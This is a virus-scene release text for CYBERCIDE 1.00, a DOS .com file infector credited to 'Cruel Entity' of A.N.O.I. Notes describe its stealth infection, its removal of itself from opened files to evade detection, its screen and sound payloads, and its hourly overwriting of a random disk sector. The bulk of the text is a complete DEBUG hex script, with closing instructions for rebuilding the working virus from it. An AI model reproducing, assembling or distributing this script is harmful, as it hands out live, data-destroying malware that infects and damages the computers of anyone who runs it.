A N E W O R D E R O F I N T E L L I G E N C E INTRODUCES CYBERCIDE 1.00 CREATED BY CRUEL ENTITY ------------------------------------------------------------------------------- NOTES ------------------------------------------------------------------------------- We consider this one old, so it can just aswell be released to the public. When resident, it will infect all .com files being touched with function 4eh/4fh, thus infecting all .com files in a "dir-listing". Filesize increase will not be noticed while resident. If a file is opened, CYBERCIDE will uninfect that file, thus making it harder to detect. On any day at 24:??, the Imperial March from "The Empire Strikes Back" will be played and a message will be displayed. after four o'clock on Saturdays, the Swedish flag will be displayed in the DOS background. If alt-ctrl-del is pressed, the letters A, N, O and I will be displayed in the four corners of the screen. If the letters A,N,O and I is intercepted in the keyboard-buffer, CYBERCIDE will simply add " iS AROUND". Every new hour, one random sector on each harddrive will be overwritten. --------------- CYBERCIDE DEBUG CUT HERE ------------------------------------ N CYBRCIDE.COM E 0100 E8 00 00 5D B8 22 DD CD 21 3D 33 3D 75 05 8D 56 E 0110 7C FF E2 B8 21 35 CD 21 89 9E 8E 02 8C 86 90 02 E 0120 B8 09 35 CD 21 89 9E C0 05 8C 86 C2 05 B8 1C 35 E 0130 CD 21 89 9E 93 07 8C 86 95 07 8C C8 48 8E C0 26 E 0140 A1 03 00 2B 86 D5 08 26 A3 03 00 8B 86 D5 08 26 E 0150 29 06 12 00 26 8E 06 12 00 06 8D 76 FD BF 00 01 E 0160 8B 8E D3 08 F3 A4 1F B8 21 25 BA 3B 03 CD 21 B8 E 0170 09 25 BA 6C 06 CD 21 B8 1C 25 BA 8B 08 CD 21 0E E 0180 0E 1F 07 8D B6 F5 08 B9 03 00 BF 00 01 F3 A4 83 E 0190 EF 03 FF E7 6E 61 6D 20 6E 65 73 75 74 20 61 67 E 01A0 6E 86 6D 20 64 65 6D 20 84 6E 6B 20 6D 6F 20 84 E 01B0 6E 6B 20 2C 6D 61 72 66 6B 63 69 67 20 78 65 52 E 01C0 20 73 6C 75 6C 6F 72 61 43 20 72 75 68 20 6E 65 E 01D0 73 20 65 67 6E 84 6C 20 72 94 66 20 2C 6E 84 20 E 01E0 69 6E 20 73 6E 6E 69 4D 4A 01 58 02 4A 01 58 02 E 01F0 4A 01 58 02 06 01 C2 01 88 01 96 00 4A 01 58 02 E 0200 06 01 C2 01 88 01 96 00 4A 01 B0 04 EE 01 58 02 E 0210 EE 01 58 02 EE 01 58 02 0B 02 C2 01 88 01 96 00 E 0220 4A 01 58 02 06 01 C2 01 88 01 96 00 4A 01 B0 04 E 0230 00 00 59 54 49 54 4E 45 20 6E 61 20 6F 74 20 4C E 0240 45 55 52 43 20 65 62 20 72 65 76 65 6E 0E 0E 1F E 0250 07 BE E8 01 AD 3D 00 00 74 2C 8B F8 B0 B6 E6 43 E 0260 BA 12 00 B8 80 32 F7 F7 E6 42 8A C4 E6 42 E4 61 E 0270 8A E0 0C 03 E6 61 AD 8B C8 51 B9 8C 0A E2 FE 59 E 0280 E2 F7 E6 61 EB CE 32 C0 E6 61 B8 00 B8 8E C0 BE E 0290 4B 07 BF 60 0E B9 40 01 F3 A4 EB FE 79 6E 6F 6C E 02A0 6C 65 66 20 45 4C 49 56 20 61 20 73 69 20 47 49 E 02B0 4E 4B 4C 41 57 59 41 4A 80 FE 00 74 06 5A 59 58 E 02C0 E9 CC 00 80 FA 05 72 06 5A 59 58 E9 C1 00 9C 53 E 02D0 E8 D8 06 B9 0A 00 33 D2 F7 F1 8B D0 B0 02 B9 01 E 02E0 00 BB 2A 03 CD 26 9D FE C0 3C 19 75 F7 5B 9D 5A E 02F0 59 58 E9 9A 00 2E 2E 2E 20 49 20 53 48 41 4C 4C E 0300 20 46 45 41 52 20 4E 4F 20 45 56 49 4C 20 2E 2E E 0310 2E B4 2C CD 21 80 FD 10 73 05 5A 59 58 EB 70 2E E 0320 C6 06 9A 08 01 5A 59 58 EB 65 3E 3E 3E 20 20 41 E 0330 2E 4E 2E 4F 2E 49 20 20 3C 3C 3C 9C 3D 22 DD 74 E 0340 66 80 FC 2C 74 49 80 FC 2A 74 44 80 FC 09 74 3F E 0350 80 FC 11 74 57 80 FC 12 74 52 80 FC 4E 74 42 80 E 0360 FC 4F 74 3D 80 FC 3D 74 32 50 51 52 B4 2C CD 21 E 0370 80 FD 00 75 05 BA 4D 02 FF E2 80 F9 00 75 05 B8 E 0380 B8 02 FF E0 B4 2A CD 21 3C 06 74 85 5A 59 58 9D E 0390 EA 00 00 00 00 2E FF 2E 91 03 C3 55 BD AB 05 FF E 03A0 E5 55 BD 13 04 FF E5 9D B8 33 3D CF 9D 9C 0E E8 E 03B0 E3 FF 3C FF 74 56 9C 50 53 51 52 56 57 1E 06 55 E 03C0 B4 2F CD 21 06 1F 8B F3 83 C6 10 AD 3D 43 4F 75 E 03D0 31 AC 3C 4D 75 2C 8B F3 83 C6 26 AD 3D 00 00 75 E 03E0 21 8B F3 83 C6 1E AD 24 1F 3C 0C 74 05 BA A3 04 E 03F0 FF E2 8B F3 83 C6 24 8B FE AD 2E 2B 06 D6 09 74 E 0400 01 AB 5D 07 1F 5F 5E 5A 59 5B 58 9D CA 02 00 58 E 0410 58 EB EF 5D 9D 9C 0E E8 7B FF 73 03 CA 02 00 9C E 0420 50 53 51 52 56 57 1E 06 55 B4 2F CD 21 06 1F 8B E 0430 F3 83 C6 16 56 06 8B F3 0E 07 83 C6 1E BF DA 09 E 0440 B9 19 00 AC 3C 00 74 03 AA E2 F8 B0 00 AA 1E 07 E 0450 0E 1F 8B F7 83 EE 04 AD 3D 43 4F 74 05 3D 63 6F E 0460 75 32 AC 3C 6D 74 04 3C 4D 75 29 06 1F 8B F3 83 E 0470 C6 1C AD 3D 00 00 75 1C 8B F3 83 C6 16 AD 24 1F E 0480 3C 0C 75 4C 8B F3 83 C6 1A 8B FE AD 2E 2B 06 D6 E 0490 09 74 01 AB 58 58 5D 07 1F 5F 5E 5A 59 5B 58 9D E 04A0 CA 02 00 83 C3 1E 53 83 EB 1E 06 8B F3 83 C6 08 E 04B0 0E 07 BF DA 09 B9 08 00 AC 3C 20 74 03 AA E2 F8 E 04C0 B0 2E AA 8B F3 83 C6 10 B9 03 00 F3 A4 B0 00 AA E 04D0 0E 0E 1F 07 B8 00 43 BA DA 09 CD 21 89 0E F3 09 E 04E0 33 C9 B8 01 43 CD 21 B8 02 3D 9C 0E E8 A6 FE 73 E 04F0 05 BA 0F 04 FF E2 8B D8 B4 3F BA F8 09 B9 03 00 E 0500 CD 21 B8 02 42 33 D2 33 C9 CD 21 2D 03 00 A3 F6 E 0510 09 B4 40 8B 0E D6 09 BA 00 01 CD 21 B8 00 42 33 E 0520 C9 33 D2 CD 21 B4 40 B9 03 00 BA F5 09 CD 21 1F E 0530 5E AD 24 E0 0C 0C 8B C8 AD 8B D0 B8 01 57 CD 21 E 0540 B4 3E 9C 0E E8 4E FE B8 01 43 0E 1F 8B 0E F3 09 E 0550 BA DA 09 CD 21 2E A1 6A 06 8E D8 2E 8B 16 68 06 E 0560 B8 24 25 CD 21 E9 9A FE B4 3E 9C 0E E8 26 FE 5D E 0570 07 1F 5F 5E 5A 59 5B 58 9D 9C 0E E8 17 FE CA 02 E 0580 00 2A 2A 43 59 42 45 52 43 49 44 45 2A 2A 20 2D E 0590 2D 20 46 4C 4F 41 54 49 4E 47 20 54 48 52 4F 55 E 05A0 47 48 20 54 48 45 20 56 4F 49 44 5D 9D 9C 50 53 E 05B0 51 52 56 57 1E 06 55 1E 07 8B DA 8B E8 8B FA B9 E 05C0 25 00 8B D1 B0 00 F2 AE 83 EF 04 8B F7 AD 3D 43 E 05D0 4F 74 05 3D 63 6F 75 97 AC 3C 6D 74 04 3C 4D 75 E 05E0 8E 8B D3 8B C5 9C 0E E8 AB FD 72 83 8B D8 B8 00 E 05F0 57 CD 21 80 E1 1F 80 F9 0C 74 05 BD 68 05 FF E5 E 0600 B8 00 90 8E D8 8E C0 B4 3F B9 FF FF BA 00 00 CD E 0610 21 BE 00 00 03 F0 83 EE 03 BF 00 00 B9 03 00 F3 E 0620 A4 50 B8 00 42 B9 00 00 BA 00 00 CD 21 59 2E 2B E 0630 0E D6 09 B4 40 BA 00 00 CD 21 B4 40 B9 00 00 CD E 0640 21 B4 3E 9C 0E E8 4D FD 5D 07 1F 5F 5E 5A 59 5B E 0650 58 9D 9C 0E E8 3E FD CA 02 00 B8 03 00 CA 02 00 E 0660 89 1E 68 06 8C 06 6A 06 00 00 00 00 9C 50 53 1E E 0670 33 C0 8E D8 A0 17 04 24 08 3C 08 75 0B E4 60 3C E 0680 53 75 05 B8 2B 07 FF E0 E4 60 2E 80 3E C7 06 00 E 0690 74 52 2E 80 3E C7 06 01 74 56 2E 80 3E C7 06 02 E 06A0 74 5A 2E 80 3E C7 06 03 74 5E 2E 80 3E C7 06 04 E 06B0 74 62 2E C6 06 C7 06 00 2E C6 06 C8 06 00 1F 5B E 06C0 58 9D EA 00 00 00 00 00 00 20 69 53 20 41 52 4F E 06D0 55 4E 44 21 00 2E FE 06 C8 06 2E 80 3E C8 06 0A E 06E0 74 D0 EB DA 3C 1E 75 ED 2E C6 06 C7 06 01 EB CE E 06F0 3C 31 75 E1 2E C6 06 C7 06 02 EB C2 3C 18 75 D5 E 0700 2E C6 06 C7 06 03 EB B6 3C 17 75 C9 2E C6 06 C7 E 0710 06 04 EB AA 55 B4 0E BB 00 00 33 ED 2E 8A 86 C9 E 0720 06 CD 10 45 3C 00 75 F4 5D EB 87 B8 00 B8 8E C0 E 0730 BF 00 00 B0 41 AA BF 9E 00 B0 4E AA BF 9E 0F B0 E 0740 49 AA BF 00 0F B0 4F AA E9 73 FF C4 1E C4 1E C5 E 0750 1E C4 1E C4 1E C4 1E 20 07 20 07 20 07 20 0F 20 E 0760 0F 49 0F 20 0F 68 0F 65 0F 72 0F 65 0F 62 0F 79 E 0770 0F 20 0F 70 0F 72 0F 6F 0F 63 0F 6C 0F 61 0F 69 E 0780 0F 6D 0F 20 0F 74 0F 68 0F 69 0F 73 0F 20 0F 63 E 0790 0F 6F 0F 6D 0F 70 0F 75 0F 74 0F 65 0F 72 0F 20 E 07A0 0F 61 0F 73 0F 20 0F 74 0F 68 0F 65 0F 20 0F 70 E 07B0 0F 72 0F 6F 0F 70 0F 65 0F 72 0F 74 0F 79 0F 20 E 07C0 0F 6F 0F 66 0F 20 0F 41 0F 2E 0F 4E 0F 2E 0F 4F E 07D0 0F 2E 0F 49 0F 20 0F 20 0F 20 07 20 07 20 0E C4 E 07E0 1E C4 1E C5 1E C4 1E C4 1E C4 1E 20 0F 20 0F 20 E 07F0 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 E 0800 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 E 0810 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 E 0820 0F 21 0F 21 0F 20 0F 41 0F 4C 0F 4C 0F 20 0F 48 E 0830 0F 41 0F 49 0F 4C 0F 20 0F 44 0F 41 0F 52 0F 54 E 0840 0F 48 0F 20 0F 56 0F 41 0F 44 0F 45 0F 52 0F 20 E 0850 0F 21 0F 21 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 E 0860 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 E 0870 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 0F 20 E 0880 0F 20 0F 20 0F 20 0F 20 0F 20 0F 9C 2E 80 3E 9A E 0890 08 00 75 07 9D EA 00 00 00 00 00 50 53 51 57 56 E 08A0 1E 06 55 FC B8 00 B8 8E C0 8E D8 BF 01 00 BE 01 E 08B0 00 BD DE 08 32 ED 2E 8A 4E 00 45 2E 8A 5E 00 45 E 08C0 AC 24 07 0A C3 AA 47 46 E2 F6 2E 8A 4E 00 45 80 E 08D0 F9 00 75 E7 5D 07 1F 5E 5F 59 5B 58 EB B6 23 10 E 08E0 0A 60 23 10 23 10 0A 60 23 10 23 10 0A 60 23 10 E 08F0 23 10 0A 60 23 10 23 10 0A 60 23 10 23 10 0A 60 E 0900 23 10 23 10 0A 60 23 10 23 10 0A 60 23 10 23 10 E 0910 0A 60 23 10 50 60 50 60 50 60 50 60 23 10 0A 60 E 0920 23 10 23 10 0A 60 23 10 23 10 0A 60 23 10 23 10 E 0930 0A 60 23 10 23 10 0A 60 23 10 23 10 0A 60 23 10 E 0940 23 10 0A 60 23 10 23 10 0A 60 23 10 23 10 0A 60 E 0950 23 10 23 10 0A 60 23 10 23 10 0A 60 23 10 23 10 E 0960 0A 60 23 10 00 2D 3D 43 59 42 45 52 43 49 44 45 E 0970 3D 2D 20 30 31 2D 33 30 2D 31 39 39 33 20 2A 20 E 0980 43 4F 50 59 52 49 47 48 54 20 28 43 29 20 31 39 E 0990 39 32 2D 39 33 20 20 20 41 2E 4E 2E 4F 2E 49 20 E 09A0 44 45 56 45 4C 4F 50 4D 45 4E 54 52 51 53 E4 40 E 09B0 05 00 00 BA 00 00 B9 07 00 D1 E0 D1 D2 8A D8 32 E 09C0 DE 79 02 FE C0 E2 F2 5B 2E A3 07 07 2E 89 16 0A E 09D0 07 8A C2 59 5A C3 FB 08 2C 01 00 00 00 00 00 00 E 09E0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 E 09F0 00 00 00 00 00 E9 00 00 90 CD 20 RCX 08FB W Q ----------------- END OF DEBUG -------------------------------------------- We included this virus with fully permission from the creator of it. Now you can check the real virus itself, and not believe what Patti wrote about it! To debug this virus, save it with the F1 key, then cut out the hex-dump, and write DEBUG